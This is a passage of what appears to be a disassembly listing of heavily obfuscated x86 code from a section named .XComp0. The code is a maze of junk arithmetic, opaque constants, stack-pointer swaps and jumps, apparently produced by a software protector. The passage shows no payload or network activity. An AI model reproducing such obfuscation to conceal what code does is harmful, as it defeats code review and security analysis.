		mov	edx, 25E52767h
		jmp	loc_57838F
; ---------------------------------------------------------------------------


loc_57E7B7:				; CODE XREF: .XComp0:00579233j
		add	al, 23h
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_5811E9
; ---------------------------------------------------------------------------


loc_57E7C4:				; CODE XREF: .XComp0:00577FEEj
		push	ebx
		mov	ebx, 4
		jmp	loc_57782F
; ---------------------------------------------------------------------------


loc_57E7CF:				; CODE XREF: .XComp0:005784A1j
		push	esp
		pop	ebp
		push	ecx
		push	edi
		push	19FC5B54h
		pop	edi
		push	eax
		mov	eax, 30C2436Ch
		jmp	loc_5768E9
; ---------------------------------------------------------------------------


loc_57E7E4:				; CODE XREF: .XComp0:005774FBj
		xchg	di, dx
		xor	[esp], dx
		xor	dx, [esp]
		xor	[esp], dx
		jmp	loc_57949C
; ---------------------------------------------------------------------------


loc_57E7F8:				; CODE XREF: .XComp0:00577480j
		jmp	loc_573541
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_575FAB
; ---------------------------------------------------------------------------


loc_57E805:				; CODE XREF: .XComp0:00574070j
		mov	[esp], edx
		push	ebx
		mov	bl, al
		mov	dl, bl
		mov	ebx, [esp]
		jmp	loc_57E28F
; ---------------------------------------------------------------------------


loc_57E815:				; CODE XREF: .XComp0:0057EE3Aj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mul	cx
		push	6C89h
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_581396
; ---------------------------------------------------------------------------


loc_57E846:				; CODE XREF: .XComp0:0058156Dj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_577B69
; ---------------------------------------------------------------------------


loc_57E855:				; CODE XREF: .XComp0:005793BEj
		sub	esp, 4
		jmp	loc_57D723
; ---------------------------------------------------------------------------


loc_57E85D:				; CODE XREF: .XComp0:0057B877j
		xor	eax, ecx
		xor	ecx, eax
		not	eax
		xchg	eax, ecx
		jmp	loc_5824CB
; ---------------------------------------------------------------------------


loc_57E869:				; CODE XREF: .XComp0:00580AC0j
		not	ebp
		xor	ebp, 0CE179CE5h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 0F1785387h
		jmp	loc_57A681
; ---------------------------------------------------------------------------


loc_57E884:				; CODE XREF: .XComp0:0057B0FEj
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, edx
		mov	edx, [esp]
		push	459Eh
		jmp	loc_58277E
; ---------------------------------------------------------------------------


loc_57E8AB:				; CODE XREF: .XComp0:0057EF7Ej
		pop	edi
		jmp	loc_57A6D2
; ---------------------------------------------------------------------------


loc_57E8B1:				; CODE XREF: .XComp0:00579EE6j
		and	edi, 0A5B40A1h
		and	edi, 641A037Ah
		add	edi, 6DAE2FBh
		mov	esi, edi
		pop	edi
		jmp	loc_582171
; ---------------------------------------------------------------------------


loc_57E8CB:				; CODE XREF: .XComp0:0057B82Ej
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57F030
; ---------------------------------------------------------------------------


loc_57E8D4:				; CODE XREF: .XComp0:0057AC98j
		inc	eax
		jmp	loc_579E42
; ---------------------------------------------------------------------------


loc_57E8DA:				; CODE XREF: .XComp0:00575DF8j
		push	esi
		pop	ebp
		pop	esi
		jmp	loc_57F4FB
; ---------------------------------------------------------------------------


loc_57E8E2:				; CODE XREF: .XComp0:00575FB1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		jmp	loc_579511
; ---------------------------------------------------------------------------


loc_57E8F8:				; CODE XREF: .XComp0:0057E1C7j
		mov	ebx, 790F7276h
		sub	ebx, 46813F2Eh
		sub	ebx, 328E3344h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	edi
		push	55FAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5770E6
; ---------------------------------------------------------------------------


loc_57E92E:				; CODE XREF: .XComp0:00575532j
		shl	edx, 1
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	301h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		mov	edi, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_5823FB
; ---------------------------------------------------------------------------


loc_57E98C:				; CODE XREF: .XComp0:0057D05Aj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 2
		jmp	loc_580202
; ---------------------------------------------------------------------------


loc_57E9C9:				; CODE XREF: .XComp0:0057876Cj
		xor	ebp, 56B43DDBh
		xor	ebp, 259D0CC1h
		add	ebp, 0C4ADEC9Fh
		mov	edx, ebp
		pop	ebp
		jmp	loc_581EC3
; ---------------------------------------------------------------------------


loc_57E9E3:				; CODE XREF: .XComp0:005814E0j
		push	esp
		jmp	loc_581AA9
; ---------------------------------------------------------------------------


loc_57E9E9:				; CODE XREF: .XComp0:005753E8j
		push	ecx
		mov	ecx, 1ED7637Bh
		neg	ecx
		neg	ecx
		or	ecx, 27885A9Eh
		neg	ecx
		jmp	loc_5798E0
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFF41Fh
; ---------------------------------------------------------------------------


loc_57EA08:				; CODE XREF: .XComp0:00573D36j
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 7E9207FDh
		add	edi, 1840397Ah
		sub	edi, ecx
		jmp	loc_57B8C5
; ---------------------------------------------------------------------------


loc_57EA1E:				; CODE XREF: .XComp0:0057ECECj
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_57E37F
; ---------------------------------------------------------------------------


loc_57EA2B:				; CODE XREF: .XComp0:00583142j
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_57F82B
; ---------------------------------------------------------------------------


loc_57EA3A:				; CODE XREF: .XComp0:0057BA9Ej
		mov	esi, 200E720Eh
		push	esi
		xor	dword ptr [esp], 44F8530Eh
		pop	edx
		xor	edx, 44F8530Eh
		jmp	loc_574522
; ---------------------------------------------------------------------------


loc_57EA53:				; CODE XREF: .XComp0:00577E7Aj
		shl	edx, 1
		push	1FBCh
		mov	[esp], ebp
		push	0FFFFFFFFh
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_57DFCC
; ---------------------------------------------------------------------------


loc_57EA6D:				; CODE XREF: .XComp0:0057CF34j
		add	edi, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_583052
; ---------------------------------------------------------------------------


loc_57EA80:				; CODE XREF: .XComp0:005805FDj
		pop	eax
		push	esi
		push	esp
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_574C66
; ---------------------------------------------------------------------------


loc_57EA94:				; CODE XREF: .XComp0:0057D99Bj
		mov	ebp, 477A0F44h
		and	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_57DE69
; ---------------------------------------------------------------------------


loc_57EAA4:				; CODE XREF: .XComp0:0057932Dj
		shl	cl, 8
		shl	cl, 8
		jmp	loc_580652
; ---------------------------------------------------------------------------


loc_57EAAF:				; CODE XREF: .XComp0:00574952j
		push	656Ah
		mov	[esp], ecx
		mov	cl, 0E9h
		sub	esp, 4
		jmp	loc_57A7D8
; ---------------------------------------------------------------------------


loc_57EAC4:				; CODE XREF: .XComp0:0057DCE9j
		pop	eax
		and	ecx, edi
		pop	edi
		neg	ecx
		jmp	loc_578754
; ---------------------------------------------------------------------------


loc_57EACF:				; CODE XREF: .XComp0:00582D3Aj
		xchg	ecx, [esp]
		pop	esp
		xor	ebx, eax
		jmp	loc_576EAA
; ---------------------------------------------------------------------------


loc_57EADA:				; CODE XREF: .XComp0:00580A45j
		mov	[esp], ebx
		mov	ebx, 482C78BFh
		shl	ebx, 3
		not	ebx
		inc	ebx
		jmp	loc_57D6D2
; ---------------------------------------------------------------------------


loc_57EAED:				; CODE XREF: .XComp0:0057D63Bj
		add	edi, 4
		sub	edi, 4
		push	5352h
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_57DD90
; ---------------------------------------------------------------------------


loc_57EB07:				; CODE XREF: .XComp0:0057E32Dj
		shl	ecx, 6
		shl	ecx, 4
		push	edx
		mov	edx, 31531358h
		neg	edx
		jmp	loc_57ED47
; ---------------------------------------------------------------------------


loc_57EB1A:				; CODE XREF: .XComp0:005787C2j
		pop	edx
		push	ebp
		mov	ebp, 113915E8h
		add	esi, ebp
		pop	ebp
		jmp	loc_57E0C7
; ---------------------------------------------------------------------------


loc_57EB29:				; CODE XREF: .XComp0:0057C271j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_583398
; ---------------------------------------------------------------------------


loc_57EB34:				; CODE XREF: .XComp0:0057EEFFj
		push	ebp
		push	5D3C0159h
		pop	ebp
		jmp	loc_57A09A
; ---------------------------------------------------------------------------


loc_57EB40:				; CODE XREF: .XComp0:005743F1j
		mov	esi, 36165459h
		add	ecx, 1BB37E86h
		sub	ecx, 2F8E1EC8h
		sub	ecx, esi
		add	ecx, 2F8E1EC8h
		sub	ecx, 1BB37E86h
		jmp	loc_58044C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57EB64:				; CODE XREF: sub_5A47B5-2445Ej
		mov	dl, 47h
		shl	dl, 3
		shr	dl, 3
		push	ax
		jmp	loc_57377D
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57EB73:				; CODE XREF: .XComp0:005780B2j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1EBF1F07h
		xor	esi, 29C13EB0h
		jmp	loc_57D576
; ---------------------------------------------------------------------------


loc_57EB8C:				; CODE XREF: .XComp0:0057F7E5j
		push	esi
		jmp	loc_58307C
; ---------------------------------------------------------------------------


loc_57EB92:				; CODE XREF: .XComp0:00575ED4j
		add	ecx, esi
		jmp	loc_578D4A
; ---------------------------------------------------------------------------


loc_57EB99:				; CODE XREF: .XComp0:00579585j
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5741D3
; ---------------------------------------------------------------------------


loc_57EBA6:				; CODE XREF: .XComp0:00578681j
		add	ebx, 4
		jmp	loc_57FA3A
; ---------------------------------------------------------------------------


loc_57EBAE:				; CODE XREF: .XComp0:0057C3F5j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5791B6
; ---------------------------------------------------------------------------


loc_57EBBC:				; CODE XREF: .XComp0:00576201j
		push	ecx
		mov	cl, 6Bh
		inc	cl
		add	cl, 0E1h
		add	al, cl
		pop	ecx
		pop	edx
		add	al, dl
		sub	al, 0EDh
		pop	edx
		jmp	loc_57775B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57EBE2:				; CODE XREF: .XComp0:0057420Bj
		shl	ebx, 1
		shr	ebx, 3
		sub	ebx, 2BE84E71h
		jmp	loc_579FB4
; ---------------------------------------------------------------------------


loc_57EBF2:				; CODE XREF: .XComp0:00573739j
		not	dl
		neg	dl
		push	small 4304h
		mov	[esp], ax
		jmp	loc_58192C
; ---------------------------------------------------------------------------


loc_57EC03:				; CODE XREF: .XComp0:005767A1j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 13h
		xor	bl, 0E4h
		jmp	loc_57D13C
; ---------------------------------------------------------------------------


loc_57EC13:				; CODE XREF: .XComp0:0057FA77j
		mov	cl, dh
		pop	edx
		push	small 0
		sub	[esp], cl
		mov	cl, [esp]
		add	esp, 2
		dec	cl
		sub	cl, 0D5h
		sub	dh, cl
		pop	ecx
		jmp	loc_57726A
; ---------------------------------------------------------------------------


loc_57EC30:				; CODE XREF: .XComp0:0057E464j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57C9B6
; ---------------------------------------------------------------------------


loc_57EC49:				; CODE XREF: .XComp0:00574C1Cj
		pop	esi
		add	ecx, edx
		sub	ecx, 13742BBAh
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_5813F1
; ---------------------------------------------------------------------------


loc_57EC71:				; CODE XREF: .XComp0:0057C962j
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_575BB1
; ---------------------------------------------------------------------------


loc_57EC7E:				; CODE XREF: .XComp0:00580E3Ej
		push	1D9Fh
		mov	[esp], ebx
		push	edx
		jmp	loc_573CC9
; ---------------------------------------------------------------------------


loc_57EC8C:				; CODE XREF: .XComp0:0057B51Bj
		add	esp, 4
		push	22CDh
		mov	[esp], esi
		jmp	loc_57486B
; ---------------------------------------------------------------------------


loc_57EC9C:				; CODE XREF: .XComp0:00581428j
		dec	ebx
		neg	ebx
		jmp	loc_57C53B
; ---------------------------------------------------------------------------


loc_57ECA4:				; CODE XREF: .XComp0:0057A1ABj
		add	ebp, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_57F503
; ---------------------------------------------------------------------------


loc_57ECB1:				; CODE XREF: .XComp0:005774E2j
		pop	esp
		mov	[esp], ecx
		jmp	loc_5759E7
; ---------------------------------------------------------------------------


loc_57ECBA:				; CODE XREF: .XComp0:00578EB6j
		sub	cl, 0CFh
		mov	dh, cl
		pop	ecx
		add	dh, 1
		or	dh, 70h
		push	ecx
		mov	ch, 70h
		xor	dh, ch
		pop	ecx
		xor	dh, 68h
		jmp	loc_5805E5
; ---------------------------------------------------------------------------


loc_57ECD4:				; CODE XREF: .XComp0:00581C2Cj
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_57EA1E
; ---------------------------------------------------------------------------


loc_57ECF1:				; CODE XREF: .XComp0:0057D299j
		add	ecx, edi
		sub	ecx, 22915D9Fh
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57C1B5
; ---------------------------------------------------------------------------


loc_57ED0B:				; CODE XREF: .XComp0:0057FE4Aj
		mov	edi, 3D9A616Bh
		xor	esi, edi
		pop	edi
		push	eax
		mov	eax, 0F2E39A9Ah
		add	esi, eax
		pop	eax
		jmp	loc_582553
; ---------------------------------------------------------------------------


loc_57ED21:				; CODE XREF: .XComp0:0057C817j
		sub	ebx, 795721F7h
		jmp	loc_581933
; ---------------------------------------------------------------------------


loc_57ED2C:				; CODE XREF: .XComp0:0057D414j
		add	ecx, 11D63CD3h
		add	ecx, edx
		sub	ecx, 11D63CD3h
		jmp	loc_57AD06
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57ED47:				; CODE XREF: .XComp0:0057EB15j
		sub	edx, 6DAD3BADh
		sub	edx, 805558F9h
		xor	ecx, edx
		pop	edx
		sub	ebp, 6C084160h
		jmp	loc_582E60
; ---------------------------------------------------------------------------


loc_57ED61:				; CODE XREF: .XComp0:0057C99Aj
		sub	bp, si
		pop	si
		push	small 3CE6h
		jmp	loc_57AB0D
; ---------------------------------------------------------------------------


loc_57ED6F:				; CODE XREF: .XComp0:0057361Ej
		pop	esp
		mov	[esp], ebp
		jmp	loc_57F36F
; ---------------------------------------------------------------------------


loc_57ED78:				; CODE XREF: .XComp0:0057487Ej
		add	edi, ebp
		pop	ebp
		pop	esi
		push	eax
		mov	eax, 4CC30336h
		jmp	loc_577B8E
; ---------------------------------------------------------------------------


loc_57ED87:				; CODE XREF: .XComp0:00574AC9j
		push	ecx
		jmp	loc_574DC5
; ---------------------------------------------------------------------------


loc_57ED8D:				; CODE XREF: .XComp0:005735D1j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		push	977h
		mov	[esp], ebx
		mov	ebx, 3D4768ACh
		sub	esp, 4
		jmp	loc_577170
; ---------------------------------------------------------------------------


loc_57EDAA:				; CODE XREF: .XComp0:005829D5j
		mov	edi, 939E9B3Eh
		sub	edi, eax
		pop	eax
		or	eax, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_57F585
; ---------------------------------------------------------------------------


loc_57EDC4:				; CODE XREF: .XComp0:0057D545j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57EDC9:				; CODE XREF: .XComp0:0057710Cj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_581089
; ---------------------------------------------------------------------------


loc_57EDF3:				; CODE XREF: .XComp0:0057EF96j
		add	ecx, 4
		jmp	loc_580114
; ---------------------------------------------------------------------------


loc_57EDFE:				; CODE XREF: .XComp0:00573ECDj
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	7B77h
		jmp	loc_57B6EF
; ---------------------------------------------------------------------------


loc_57EE16:				; CODE XREF: .XComp0:00573B47j
		mov	esi, 186F1B61h
		shl	esi, 7
		jmp	loc_577CC7
; ---------------------------------------------------------------------------


loc_57EE23:				; CODE XREF: .XComp0:0058079Ej
		pop	dword ptr [esp]
		jmp	loc_57F2C0
; ---------------------------------------------------------------------------


loc_57EE2B:				; CODE XREF: .XComp0:0057FF8Bj
		mov	ecx, [edx]
		jmp	loc_57CB6F
; ---------------------------------------------------------------------------


loc_57EE32:				; CODE XREF: .XComp0:00582D25j
		xor	ebp, 7924FB2h
		add	ecx, ebp
		jmp	loc_57E815
; ---------------------------------------------------------------------------


loc_57EE3F:				; CODE XREF: .XComp0:00575070j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57F392
; ---------------------------------------------------------------------------


loc_57EE4D:				; CODE XREF: .XComp0:00575E0Aj
		push	ecx
		mov	cl, 62h
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 37h
		sub	cl, ah
		pop	eax
		add	bh, cl
		jmp	loc_5768FD
; ---------------------------------------------------------------------------


loc_57EE62:				; CODE XREF: .XComp0:00575B85j
		mov	[esp], ecx
		jmp	loc_57A384
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_581899
; ---------------------------------------------------------------------------


loc_57EE8D:				; CODE XREF: .XComp0:0057CEC2j
		mov	esp, [esp]
		push	ebx
		push	0
		pop	ebx
		push	esi
		push	edx
		mov	edx, 782C1E1Ah
		mov	esi, edx
		pop	edx
		add	ebx, esi
		jmp	loc_57CF52
; ---------------------------------------------------------------------------


loc_57EEA8:				; CODE XREF: .XComp0:00582CC0j
		xor	ebx, edi
		jmp	loc_578309
; ---------------------------------------------------------------------------


loc_57EEAF:				; CODE XREF: .XComp0:00575D50j
		mov	[esp], edx
		push	ecx
		mov	cl, 0Dh
		push	ecx
		mov	cl, 0Ch
		push	ebx
		mov	bh, 0CDh
		mov	dh, bh
		pop	ebx
		sub	dh, cl
		pop	ecx
		jmp	loc_57D9A0
; ---------------------------------------------------------------------------


loc_57EEC6:				; CODE XREF: .XComp0:0057C147j
		mov	ch, dh
		pop	edx
		inc	ch
		jmp	loc_57C0E7
; ---------------------------------------------------------------------------


loc_57EED0:				; CODE XREF: .XComp0:00582471j
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_5781D5
; ---------------------------------------------------------------------------


loc_57EEDA:				; CODE XREF: .XComp0:005787CBj
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_57F80C
; ---------------------------------------------------------------------------


loc_57EEEC:				; CODE XREF: .XComp0:005806B5j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_575E52
; ---------------------------------------------------------------------------


loc_57EEF7:				; CODE XREF: .XComp0:00576B9Cj
		mov	[esp], esi
		mov	esi, 49BB63A5h
		jmp	loc_57EB34
; ---------------------------------------------------------------------------


loc_57EF04:				; CODE XREF: .XComp0:0057AAD0j
		add	ebx, 1AFD1A7Ch
		neg	ebx
		push	esi
		mov	esi, 3A262D7Ah
		xor	ebx, esi
		jmp	loc_582078
; ---------------------------------------------------------------------------


loc_57EF19:				; CODE XREF: .XComp0:00574458j
		add	esi, 2
		jmp	loc_57F831
; ---------------------------------------------------------------------------


loc_57EF24:				; CODE XREF: .XComp0:0057F42Ej
		sub	esi, ebp
		pop	ebp
		add	esi, 791009F0h
		neg	esi
		jmp	loc_583310
; ---------------------------------------------------------------------------


loc_57EF34:				; CODE XREF: .XComp0:0057AA1Cj
		push	esp
		jmp	loc_5817CD
; ---------------------------------------------------------------------------


loc_57EF3A:				; CODE XREF: .XComp0:0057D55Bj
		push	eax
		push	edx
		mov	edx, 12F54A67h
		mov	eax, 815A81F6h
		sub	eax, 2EB9223Ch
		sub	eax, edx
		add	eax, 2EB9223Ch
		pop	edx
		and	eax, 10933616h
		neg	eax
		jmp	loc_5789FA
; ---------------------------------------------------------------------------


loc_57EF5F:				; CODE XREF: .XComp0:0058112Fj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 43536B84h
		jmp	loc_57CF11
; ---------------------------------------------------------------------------


loc_57EF75:				; CODE XREF: .XComp0:0057D5E4j
		add	ebx, 0B2960E7h
		push	dword ptr [esp]
		jmp	loc_57E8AB
; ---------------------------------------------------------------------------


loc_57EF83:				; CODE XREF: .XComp0:005778DDj
		add	dword ptr [esp], 4E4A6ED2h
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_57EDF3
; ---------------------------------------------------------------------------


loc_57EF9B:				; CODE XREF: .XComp0:0057CC65j
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57EFA6:				; CODE XREF: .XComp0:00573F33j
		xor	esi, 0C8F61FFh
		push	eax
		mov	eax, 5DDC4DCDh
		sub	esi, eax
		pop	eax
		push	esi
		jmp	loc_57393B
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_57C8E9
; ---------------------------------------------------------------------------


loc_57EFC7:				; CODE XREF: .XComp0:00580D08j
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		pop	edi
		add	ebp, 0D294ADDh
		jmp	loc_576F88
; ---------------------------------------------------------------------------


loc_57EFD9:				; CODE XREF: .XComp0:0057F17Aj
		push	edx
		jmp	loc_57C565
; ---------------------------------------------------------------------------


loc_57EFDF:				; CODE XREF: .XComp0:00576B26j
		not	edx
		and	edx, 51694A6Fh
		add	edx, 49780D80h
		jmp	loc_57ACFE
; ---------------------------------------------------------------------------


loc_57EFF2:				; CODE XREF: .XComp0:0058203Aj
		sub	dword ptr [esp+4], 28F534D8h
		add	dword ptr [esp+4], 4B8F51C7h
		sub	dword ptr [esp+4], 1AE72DF5h
		mov	ecx, [esp]
		jmp	loc_57F0A0
; ---------------------------------------------------------------------------


loc_57F012:				; CODE XREF: .XComp0:00581809j
		not	edx
		jmp	loc_575CA9
; ---------------------------------------------------------------------------


loc_57F019:				; CODE XREF: .XComp0:005834C1j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F01E:				; CODE XREF: .XComp0:0057DE64j
		mov	[esp], eax
		jmp	loc_580858
; ---------------------------------------------------------------------------


loc_57F026:				; CODE XREF: .XComp0:0057E1B9j
		add	eax, 2B060CE3h
		jmp	loc_577A64
; ---------------------------------------------------------------------------


loc_57F030:				; CODE XREF: .XComp0:0057E8CFj
		mov	[esp], eax
		jmp	loc_577A71
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	eax
		push	esi
		mov	esi, 5A726D48h
		mov	eax, 0EE30B3B3h
		jmp	loc_574565
; ---------------------------------------------------------------------------


loc_57F050:				; CODE XREF: .XComp0:005741DEj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F055:				; CODE XREF: .XComp0:00577129j
		add	esp, 4
		jmp	loc_57FD1E
; ---------------------------------------------------------------------------


loc_57F060:				; CODE XREF: .XComp0:00582F14j
		mov	[esp], bx
		push	small 1617h
		jmp	loc_575115
; ---------------------------------------------------------------------------


loc_57F06D:				; CODE XREF: .XComp0:00578319j
		mov	edx, [esp]
		add	esp, 4
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57577B
; ---------------------------------------------------------------------------


loc_57F083:				; CODE XREF: .XComp0:005791C0j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F088:				; CODE XREF: .XComp0:005761F0j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		push	edi
		jmp	loc_581292
; ---------------------------------------------------------------------------


loc_57F094:				; CODE XREF: .XComp0:00578D45j
		add	dword ptr [esp], 4
		jmp	loc_57F4AE
; ---------------------------------------------------------------------------


loc_57F0A0:				; CODE XREF: .XComp0:0057F00Dj
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_57F353
; ---------------------------------------------------------------------------


loc_57F0AB:				; CODE XREF: .XComp0:00576BF6j
		xor	ebx, 649B2DB4h
		dec	ebx
		shr	ebx, 6
		inc	ebx
		jmp	loc_5786C5
; ---------------------------------------------------------------------------


loc_57F0BB:				; CODE XREF: .XComp0:0057E397j
		mov	edi, [esp]
		jmp	loc_581AE7
; ---------------------------------------------------------------------------


loc_57F0C3:				; CODE XREF: .XComp0:005767B8j
		pop	ebx
		add	eax, ecx
		add	eax, 25A5260Ch
		push	edi
		mov	edi, 0DCA5F02h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_57DAED
; ---------------------------------------------------------------------------


loc_57F0DD:				; CODE XREF: .XComp0:0057CFB7j
		dec	al
		push	ecx
		jmp	loc_57FCF5
; ---------------------------------------------------------------------------


loc_57F0E5:				; CODE XREF: .XComp0:0057A6CDj
		mov	esi, 0AB87205h
		or	esi, 308141D4h
		shr	esi, 3
		or	esi, 51794108h
		xor	esi, 51F606ACh
		jmp	loc_57E651
; ---------------------------------------------------------------------------


loc_57F104:				; CODE XREF: .XComp0:0057F6F2j
		pop	esi
		add	ecx, 2B63C4B4h
		and	eax, ecx
		pop	ecx
		jmp	loc_581C45
; ---------------------------------------------------------------------------


loc_57F113:				; CODE XREF: .XComp0:00573F75j
		xchg	esi, [esp]
		pop	esp
		push	37F2h
		jmp	loc_579D7A
; ---------------------------------------------------------------------------


loc_57F121:				; CODE XREF: .XComp0:005764C2j
		pop	esi
		push	165Fh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1A4101E7h
		xor	ecx, 70AC7A41h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5746E7
; ---------------------------------------------------------------------------


loc_57F143:				; CODE XREF: .XComp0:0057CB0Bj
		mov	[esp], esi
		push	ecx
		mov	ecx, 57979EFh
		jmp	loc_57FF52
; ---------------------------------------------------------------------------


loc_57F151:				; CODE XREF: .XComp0:005757F5j
		mov	[esp], bx
		jmp	loc_575A5A
; ---------------------------------------------------------------------------


loc_57F15A:				; CODE XREF: .XComp0:00575D13j
		mov	[esp], ebx
		jmp	loc_57415D
; ---------------------------------------------------------------------------


loc_57F162:				; CODE XREF: .XComp0:0057FE92j
		push	5D11h
		mov	[esp], edi
		mov	edi, 7BA5229Ah
		jmp	loc_575B10
; ---------------------------------------------------------------------------


loc_57F174:				; CODE XREF: .XComp0:00576D1Ej
		mov	edx, 38E551B6h
		push	edi
		jmp	loc_57EFD9
; ---------------------------------------------------------------------------


loc_57F17F:				; CODE XREF: .XComp0:00577CCEj
		mov	edi, 3C2C6C36h
		shl	edi, 5
		jmp	loc_57DFD4
; ---------------------------------------------------------------------------


loc_57F18C:				; CODE XREF: .XComp0:00583621j
		mov	[esp], edx
		mov	edx, 2C1623CBh
		add	eax, 58F8227Eh
		add	eax, 1E6F0A3Bh
		sub	eax, edx
		sub	eax, 1E6F0A3Bh
		push	ebp
		mov	ebp, 231268CDh
		or	ebp, 72D57658h
		add	ebp, 0E520A3A1h
		sub	eax, ebp
		pop	ebp
		pop	edx
		add	eax, 0B26F65Dh
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F1C5:				; CODE XREF: .XComp0:00575251j
		xor	ecx, 34868CEh
		jmp	loc_57E61D
; ---------------------------------------------------------------------------


